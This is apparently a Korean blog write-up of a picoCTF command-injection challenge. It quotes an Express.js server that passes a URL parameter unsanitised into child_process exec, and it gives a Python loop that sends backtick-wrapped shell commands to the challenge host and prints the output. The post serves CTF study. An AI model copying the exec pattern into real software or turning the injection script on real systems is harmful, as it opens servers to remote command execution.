1. 개요
command injection
2. 분석
주어진 코드를 보면, exec 함수로 차일드 프로세스를 실행시키는데 여기에 시스템 명령어가 삽입되면, 수행 결과를 반환합니다.
다만, exec 함수에 시스템 명령어를 보낼때는 `ls` 와 같이 백틱으로 감싸줘야합니다.
const express = require('express');
const app = express();
const { exec } = require('child_process');
app.use(express.static('public'));
app.get('/cowsay/:message', (req, res) => {
exec(`/usr/games/cowsay ${req.params.message}`, { timeout: 5000 }, (error, stdout) => {
if (error) return res.status(500).end();
res.type('txt').send(stdout).end();
});
});
app.listen(3000, () => {
console.log('listening');
});
3. 코드
import requests
def get_result_by_message(message: str) -> str:
print('message', message)
base_url = "https://caas.mars.picoctf.net"
return requests.get(f"{base_url}/cowsay/`{message}`").text
while True:
cmd = input()
result = get_result_by_message(cmd)
print(result)
'pico CTF' 카테고리의 다른 글
[picoCTF] SOAP (0) | 2023.04.29 |
---|---|
[picoCTF] find me (0) | 2023.04.29 |
[picoCTF] X marks the spot (0) | 2023.04.28 |
[pico CTF] Transformation (0) | 2023.04.02 |
[pico CTF] First Find (0) | 2022.08.15 |